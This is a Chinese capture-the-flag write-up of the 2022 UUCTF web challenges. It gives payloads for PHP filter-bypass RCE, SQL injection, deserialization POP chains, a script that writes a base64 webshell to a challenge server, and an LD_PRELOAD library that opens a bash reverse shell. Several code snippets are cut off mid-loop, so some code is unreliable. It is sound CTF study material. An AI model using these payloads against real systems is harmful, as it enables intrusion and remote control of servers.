2022UUCTF--WEB
websign
无法右键 禁用js后 看源码
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5FX2uPVO-1667461598331)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084455218-16673498960451.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/22609835e8a8450e80de782905513213.png)
ez_rce -- 闭合
源码,禁用的东西挺多的 仔细发现 ? <> `没有禁用,闭合标签反引号执行命令
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '
';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wkx4nqjg-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084645846.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L8KGVTDW-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084658608.png)]
nl输出
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CwkveGZq-1667461598334)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084742202.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/dc02d5bc502943baa2f252ac2cc81280.png)
ezsql -- 输入反向
直接给出了查询语句
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-htrif8Qh-1667461598334)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084840911.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/29bf10ce15de491e803d7cbf9aa06296.png)
发现输入 11')--+ 显示的是 +--)'11 完全反过来了
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FHUyt2Vd-1667461598335)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084917425.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/61625683ed97479a872579cc7d7540c0.png)
首先使用万能密码试试
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zrIwbJ3M-1667461598335)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102090900004.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/1538f49bc16544e2a95e5597809b79a4.png)
发现即使输入时正确的账号密码也不会回显flag
找列数 2列
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uUStUQml-1667461598335)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102091511118.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/ca04080ed560438fa47f8c288c3f0dd0.png)
这里过滤了or 双写绕过,查找表名和数据库名
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yN8Rq0Af-1667461598336)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102092019725.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/968e117ee07c4337a308dd0ea239acb4.png)
查列名UUCTF
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8A37l0yb-1667461598336)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102092217212.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/c0befee9db964cc9b1b6cc2df2d94c3c.png)
查内容
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-30Rgtizv-1667461598337)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102092253981.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/d2dcd796fd064bdda4757edf8f955683.png)
ezrce -- 6字符RCE
hint:这是一个命令执行接口
我知道咯这是六字符 起初我输入>nl 回显命令执行失败 我以为没有运行 所以没写
所以说不可以完全信回显
我们要先找到写文件写的目录 echo 一下,文件写在./tmp/
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lz1FE0aK-1667461598338)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102092539025.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/622754f537d64947943b6b8319e9724c.png)
方法一
>nl
* /*>d
第一个:创建一个叫nl的文件
* /*>d 意思就是 nl /*>f 第一个*就是将ls列出文件名第一个当作命令 其他当作参数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lsTD1eCt-1667461598338)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102092726460.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/afe465a93b2240629d1d1589cac0c230.png)
方法二
前置知识
>a 在Linux会创建一个叫a的文件
*>v 会将ls列出的第一个文件名当作命令 其余当作参数执行
*v>0 等价于 rev v >0 反转
sh 0 将0文件的内容当作命令执行
ls -th 按照文件的创建时间(后创建先列出)ls -t就可以 这里加上h是为了按照 sl ht- f\>排列
linux下换行执行命令:
ech\
o\
111
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nzwlrAkp-1667461598340)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102094032065.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/e01fb79fc3164a608188412de93aa69c.png)
跑脚本,写木马
url="http://43.142.108.3:28933/post.php"
print("[+]start attack!!!")
with open("5字符RCE.txt", "r") as f:
for i in f:
data = {"cmd": f"{i.strip()}"}
requests.post(url=url,data=data)
resp = requests.get("http://43.142.108.3:28933/tmp/1.php")
if resp.status_code == requests.codes.ok:
print("[*]Attack success!!!")
5字符RCE.txt
>dir
>sl
>ht-
>f\>
*>v
>rev
*v>0
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
sh 0
sh f

ez_unser -- 引用绕过wakeup
反序列化 审计代码
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
// 可以看到这里有一个 $this->b=$this->c; 这里就是我们利用的地方
// 这里说下php引用问题 当a=&b是 a和b分配的是同一快内存地址 也就是 a b永远相等
$this->b=$this->c;
// 终点
eval($this->a);
}
}
$a=$_GET['a'];
// 这里限制我们不能修改test后的参数 也就是不可以通过修改参数绕过 __wakeup
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
构造POC
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=&$this->b;
$this->b=2;
$this->c="system('ls');";
}
}
echo((serialize(new test())));
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LDQ8R8Kz-1667461598341)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102095032026.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/e7dd01c3e1c944e59bf10812b170adba.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8luj5kBW-1667461598342)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102095054936.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/7fe892c17e314f7e8e1ce0a60b3abb82.png)
最终的payload
<?php
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=&$this->b;
$this->b=2;
$this->c="system('cat /f*');";
}
}
echo((serialize(new test())));
ez_upload--apache解析漏洞
文件上传也就是哪些方式 一个一个试就好
apache解析漏洞 上传shell.jpg.php即可
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mAwQ46xW-1667461598342)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102141000673.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/5e9cda07f72c430cac273b8f617ab81a.png)
phonecode--mt_rand函数
hint:你能猜到验证码吗? 猜测就是随机数预判
打开题目 根据提示 意思就是让我们猜验证码是什么
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uIwUeCMZ-1667461598343)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102142728954.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/e7afbc83ba90464bb75aa390fa33ffd7.png)
我们先输入手机号和验证码试试,发现无论请求多少次 hint永远是895547922,结合mt_srand和mt_rand函数 当设置的种子确定(此处的种子时输入的手机号)时,每次的mt_rand都是固定的 我们可以猜测hint就是mt_rand的第一次,而目的验证码就是mt_rand的第二次
mt_srand(11111);
echo mt_rand(); // 一直是恒定的
echo mt_rand(); // 一直是恒定的
echo mt_rand(); // 一直是恒定的
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fGGE2vwl-1667461598343)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102142816734.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/f9c108e18e2e465d98bc0758ec109e12.png)
我们写代码 弄出第二次的mt_rand
mt_srand(123);
echo mt_rand()."\n"; //895547922
echo mt_rand()."\n"; //2141438069
发现果然 第一次的mt_rand就是hint
我们将code改为2141438069
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SN4OTXxC-1667461598343)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102143314267.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/c59611462ef94eaa86bbfe16740a9d96.png)
uploadandinject--LD_PRELOAD劫持
打开题目发现有hint
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3fPMUOYx-1667461598344)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102150623698.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/0e4ae4f196364745947076f6c61387a0.png)
看看hint,意思就是看看swp(Linuxvim产生的文件).index.php.swp或者看到swp扫描就好
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sg41tl9X-1667461598344)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102150640881.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/9376e1c263ed4197a6938b2e08a7382a.png)
下载 可以看到源码 使用 vi -r index.php.swp 恢复文件内容
$PATH=$_GET["image_path"];
if((!isset($PATH))){
$PATH="upload/1.jpg";
}
echo "";
loadimg($PATH);
echo "";
function loadimg($img_path){
if(file_exists($img_path)){
//设置环境变量的值 添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态 设置.so LD_PRELOAD设置的优先加载动态链接库
putenv("LD_PRELOAD=/var/www/html/$img_path");
system("echo Success to load");
echo "
";
}else{
system("echo Failed to load ");
}
}
而且我们笃定是有上传的网页的,限制了文件类型 我们想要上传的是so,但是LD_PRELOAD也能解析jpg后缀 所以修改后缀上传就可以
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ggjDtXJN-1667461598345)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102232346248.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/d17f001823e641f88a73568940cd772c.png)
那么问题又来了 我们上传了so文件,怎么才能触发动态链接库的函数?可以看到下面有一个system函数 ,本地测试可以发现,system会调用/bin/sh
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Q9ceJ2QI-1667461598345)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102221618120.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/8a4eba78c36c4e49963cb5b2a9e6d0ce.png)
所以我们写一个exp.c
#include
#include
#include
void payload() {
//反弹shell
system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}
char *strcpy (char *__restrict __dest, const char *__restrict __src) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
编译成so文件 然后修改后缀为jpg
gcc -shared -fPIC exp.c -o exp.so
在upload/upload.php上传
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcNZewAp-1667461598346)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102233332977.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/093285ad229d4f5fbb3c74b47acd6d04.png)
然后在主页面访问,根据源码我们传递upload/exp_shell.jpg给image_path
//设置环境变量的值 添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态 设置.so LD_PRELOAD设置的优先加载动态链接库
putenv("LD_PRELOAD=/var/www/html/$img_path");
// 执行函数 就会优先到我们LD_PRELOAD的指向的函数 反弹shell
system("echo Success to load");
要先在攻击机上监听端口
反弹shell成功
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yHHMUxRv-1667461598347)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102233802658.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/955c5a32ae7b479cb8218cf1107d4b8d.png)
输出flag
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x46s98tr-1667461598347)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102233837525.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/2ab7c0d1458c447c8f813b137ac19f6f.png)
ezpop -- 字符串逃逸
打开题目给出的就是源码
//flag in flag.php
error_reporting(0);
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a;
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd;
function rce(){
eval($this->cmd);
}
}
$pdata=$_POST["data"];
if(isset($pdata))
{
$data=serialize(new UUCTF($pdata));
$data_replace=str_replace("hacker","loveuu!",$data);
unserialize($data_replace);
}else{
highlight_file(__FILE__);
}
?>
考点就是字符串逃逸,刚开始直接序列化UUCTF类,经过替换之后5字符变6字符,我们没有给$this->key直接赋值但是要求是UUCTF才可以继续下去,所以通过字符串逃逸间接给key赋值
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
我们在本地一步一步测试
首先随便输入根据输出构造,测试发现进入了我们的目标
O:5:"UUCTF":4:{s:4:"name";s:"1";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
O:5:"UUCTF":4:{s:4:"name";s:" ";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;} ";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;}
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TUqUnB2R-1667461598347)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103002133711.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/7553bc51bb384ab5b7c48c3dd9423c33.png)
然后构造执行命令的那块POC
class output{
public $a;
function __toString(){
//1、调用目的函数 __toString 对象实例被当作字符串处理调用
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
//2.要绕过__wakeup 但是这里php版本是7.2.34 不能利用多写参数绕过 我们还是利用引用绕过
$this->b=$this->t;
// 这里返回的是字符串
die($this->a);
}
}
class youwant{
public $cmd;
function rce(){
// 终点
eval($this->cmd);
}
}
POC
<?php
class output{
public $a;
function __construct(){
$this->a=new youwant();
}
}
class nothing{
public $a;
public $b;
public $t;
function __construct(){
$this->a=&$this->b;
$this->b='xx';
$this->t=new output();
}
}
class youwant{
public $cmd;
function __construct()
{
$this->cmd="phpinfo();";
}
}
echo(base64_encode(serialize(new nothing())));
将上面两处的构造的结合起来的payload
<?php
class output{
public $a;
function __construct(){
$this->a=new youwant();
}
}
class nothing{
public $a;
public $b;
public $t;
function __construct(){
$this->a=&$this->b;
$this->b='xx';
$this->t=new output();
}
}
class youwant{
public $cmd;
function __construct()
{
$this->cmd="phpinfo();";
}
}
$basedata = (base64_encode(serialize(new nothing())));
$str = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
echo $str."\n";
$hacker='';
for($i=0;$i
执行效果
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O1ar6HMK-1667461598348)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103145043072.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/8bb6c7c0835442c9bfcda5dd3b9fc5ce.png)
找flag在当前目录的flag.php
<?php
class output{
public $a;
function __construct(){
$this->a=new youwant();
}
}
class nothing{
public $a;
public $b;
public $t;
function __construct(){
$this->a=&$this->b;
$this->b='xx';
$this->t=new output();
}
}
class youwant{
public $cmd;
function __construct()
{
$this->cmd="system('cat flag.php');";
}
}
$basedata = (base64_encode(serialize(new nothing())));
$str = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
$hacker='';
for($i=0;$i
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S4xdAO3M-1667461598348)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103145321066.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/b4fee08b0bea4f6483648d0045909fd7.png)
funmd5--对代码的理解
打开题目 直接源码
重点
if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
echo "well!you win again!now flag is yours.
";
echo $flag;
}
我们知道$md5[0]==md5($md5[0])绕过可以使用0e215962017,但是还要绕过preg_replace使用%0a,我们审计代码发现,后面有对md5[0]的截取 我们只要保证$sub=1从第一位开始截取,就可以避免%0a,而且$sub的值是当前时间的最后一位,也就是保证当前的时间为xxxxxxxx1即可
$sub=substr($time,-1);
$md5[0]=substr($md5[0],$sub);
$guessmd5=md5($time);我们使用脚本快速请求就可以在传入md5[1]也是当前时间的md5值 两者就相等
脚本
import hashlib,time,requests
def guess_md5():
while True:
url = f"http://43.143.7.97:28179/?md5[0]=%0a0e215962017&md5[1]={str(hashlib.md5(str(int(time.time())).encode()).hexdigest())}"
resp = requests.get(url=url)
if "win" in resp.text:
print(resp.text)
return
time.sleep(1)
guess_md5()
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YpnbvT9R-1667461598349)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103151802644.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/824db6fa9b1443a194ed32f710a0a242.png)
backdoor--tonyenc加密
这题我不太会哦 没咋理解 不是很会使用IDA
hint:backdoor.php是一个后门文件
打开题目 说 布里茨 布里茨就是lol的机器人 看robots.txt
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hT6HWxct-1667461598349)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103152109438.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/4f93c49d14234053922ec00ac10469c9.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-14ULdNgV-1667461598350)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103152120295.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/80d98fab78db4417b45e3971b531c81e.png)
下载源码,发现五个文件大致看下 robots.txt index.php无信息
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OrJ7LLYp-1667461598350)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103152206424.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/72e32f7e1a3249c0a6e231612a2f0030.png)
看看backdoor.php的代码,根据提示 他是一个后门文件 那肯定是有连接后门的密码的,但是乱码又不知道
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zcBuFyVS-1667461598350)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103152405161.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/b55c120b75a74c0fae2a80636858a091.png)
到了这里属实是没啥思路 看wp IDA逆向so文件
so文件是Linux下向当于Windows下的dll文件,Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据
发现了tonyenc_encode函数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0SsksBgI-1667461598351)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103153401214.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/868ed45f03894cca89789f184ab01b2d.png)
百度搜索这个是啥:
- 一个简洁、高性能、跨平台的 PHP7 代码加密扩展,当前版本为 0.2.2
- 就是对PHP7的代码进行加密的函数
百度搜一下找到git项目
GitHub - lihancong/tonyenc: 高性能、跨平台的 PHP7 代码加密扩展 (A high performance and cross-platform encrypt extension for PHP source code)
编译前请在 core.h 中做如下修改:
/* 这里定制你的加密特征头,不限长度,十六进制哦 */
const u_char tonyenc_header[] = {
0x66, 0x88, 0xff, 0x4f,
0x68, 0x86, 0x00, 0x56,
0x11, 0x16, 0x16, 0x18,
};
/* 这里指定密钥,长一些更安全 */
const u_char tonyenc_key[] = {
0x9f, 0x49, 0x52, 0x00,
0x58, 0x9f, 0xff, 0x21,
0x3e, 0xfe, 0xea, 0xfa,
0xa6, 0x33, 0xf3, 0xc6,
};
在IDA中找到对应的加密头和key
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VUcHMf2X-1667461598351)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103153927985.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/f1f61e29d6d544e28c38c33436416472.png)
根据github源码写解密py脚本
import base64
header=[
0x66, 0x88, 0xff, 0x4f,
0x68, 0x86, 0x00, 0x56,
0x11, 0x61, 0x16, 0x18,
]
key=[
0x9f, 0x58, 0x54, 0x00,
0x58, 0x9f, 0xff, 0x23,
0x8e, 0xfe, 0xea, 0xfa,
0xa6, 0x35, 0xf3, 0xc6]
def decode(data,len):
p =0
for i in range(0,len):
if (i & 1):
p += key[p] + i;
p %= 16;
t = key[p];
data[i] = ~data[i]^t;
if data[i] < 0:
data[i]=data[i]+256
decode = "".join([chr(c) for c in data])
return decode
encodefile=open('backdoor.php',"rb")
base64_encodestr=base64.b64encode(encodefile.read())
convert=[c for c in base64.b64decode(base64_encodestr)]
del convert[0:len(header)]
print(str(decode(convert,len(convert))))
解密得到backdoor.php文件内容为
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gEwEUhZ0-1667461598351)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103154452619.png)]

![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uB77aM8v-1667461598346)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102233746067.png)]](https://img.yipin100.com/p.php?img=https://img-blog.csdnimg.cn/18831e5a18a24e1a80548cbb8d901d57.png)